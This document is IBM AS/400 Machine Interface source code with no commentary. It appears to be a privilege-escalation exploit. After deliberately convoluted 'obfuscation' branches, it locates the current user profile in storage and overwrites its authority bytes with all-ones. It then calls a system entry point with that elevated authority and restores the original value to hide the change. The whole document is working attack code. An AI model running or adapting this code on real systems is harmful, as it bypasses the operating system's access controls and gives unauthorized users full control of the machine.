DCL SYSPTR .SEPT(6440) BAS(@SEPT);
DCL DD PCO   CHAR(256) BASPCO;
   DCL SPCPTR @SEPT   DEF(PCO) POS(1);

DCL SPCPTR .THE-STACK;
DCL DD      THE-STACK CHAR(8) AUTO BDRY(16);
    DCL DD  STK-BYTES-PRV      BIN(4) DEF(THE-STACK) POS( 1);
    DCL DD  STK-BYTES-AVL      BIN(4) DEF(THE-STACK) POS( 5);
    DCL DD  STK-NBR-OF-ENTRIES BIN(4) DEF(THE-STACK) POS( 9);
    DCL DD  STK-ENTRY(1)    CHAR(128) DEF(THE-STACK) POS(17);

DCL DD STACK-ENTRY CHAR(128) BDRY(16);
    DCL SYSPTR .STACK-ENTRY-PGM          DEF(STACK-ENTRY) POS(33);
    DCL DD      STACK-ENTRY-PGM CHAR(16) DEF(STACK-ENTRY) POS(33);

DCL SPCPTR .OWN-PTR INIT(STACK-ENTRY-PGM);
DCL OL OWNPARM (.OWN-PTR) ARG;

DCL SPCPTR .PARM1 PARM;
DCL DD PARM1 CHAR(16) BAS(.PARM1);
DCL OL PARMS (.PARM1) EXT PARM MIN(0);

DCL DD NBR-OF-PARMS BIN(2) AUTO;
DCL DD DUMMY CHAR(8) BDRY(8);
DCL DD P BIN(2);

DCL SPCPTR .PROC-ATTR INIT(PROC-ATTR);
DCL DD      PROC-ATTR CHAR(32) BDRY(16);
    DCL DD BYTES-PROVIDED  BIN(4) DEF(PROC-ATTR) POS( 1) INIT(32);
    DCL DD BYTES-AVAILABLE BIN(4) DEF(PROC-ATTR) POS( 5);
    DCL DD *              CHAR(8) DEF(PROC-ATTR) POS( 9);
    DCL SYSPTR .USRPRF            DEF(PROC-ATTR) POS(17);

DCL SPCPTR .SPCPTR;
DCL DD STORAGE CHAR(512) BAS(.SPCPTR);
    DCL DD AUTHORITY CHAR(8) DEF(STORAGE) POS(257);

DCL DD OLD-AUTHORITY CHAR(8);
DCL DD FIRST-TIME CHAR(1) AUTO INIT("Y");

/*******************************************************************/

ENTRY * (PARMS) EXT;
    STPLLEN      NBR-OF-PARMS;
    CMPNV(B)     NBR-OF-PARMS, 1/EQ(CALLED-SELF), NEQ(OBFUSCATION);

GET-OWN-INVOCATION-STACK:
    CPYNV        STK-BYTES-PRV, 8; /* MINIMUM */
    SETSPP      .THE-STACK, THE-STACK;
    MATINVS     .THE-STACK, *;
    MODASA      .THE-STACK, STK-BYTES-AVL;

    CPYNV        STK-BYTES-PRV, STK-BYTES-AVL;
    SETSPP      .THE-STACK, THE-STACK;
    MATINVS     .THE-STACK, *;

    OVRPGATR     1, 2; /* DO NOT CONSTRAIN ARRAY REFS */
    CPYBWP       STACK-ENTRY, STK-ENTRY(STK-NBR-OF-ENTRIES);
    OVRPGATR     1, 4; /* RESUME CONSTRAIN ARRAY REFS */

    CMPNV(B)     NBR-OF-PARMS, 1/NEQ(DO-THE-MAGIC);

/****************************************************************/

OBFUSCATION:
    CMPBLA(B)    FIRST-TIME, " "/NEQ(MORE-OBFUSCATION);

CALLED-SELF:
    CMPBLA(B)    STACK-ENTRY-PGM, PARM1/NEQ(DONE);
    CPYBLA       DUMMY(1:4), X'11223344';
    CPYBLA       DUMMY(5:4), X'55667788';
    B            DONE;

MORE-OBFUSCATION:
    CMPBLA(B)    FIRST-TIME, "."/EQ(GET-USER-PROFILE);
    MATPRATR    .PROC-ATTR, *, X'16';
    ADDN         P, NBR-OF-PARMS, 1;

YET-MORE-OBFUSCATION:
    ADDN(SB)     P, 9/POS(GET-OWN-INVOCATION-STACK);

DO-THE-MAGIC:
    CALLX       .STACK-ENTRY-PGM, OWNPARM, *;

GET-USER-PROFILE:
    SETSPPFP    .SPCPTR, .USRPRF;
    CPYBLA       OLD-AUTHORITY, AUTHORITY;
    CPYBLA       AUTHORITY, X'FFFFFFFFFFFFFFFF';
    CMPNV(B)     P, H'105C'/EQ(=+2);
    CALLX       .SEPT(1852), *, *;:
    CPYBLA       AUTHORITY, OLD-AUTHORITY;

DONE: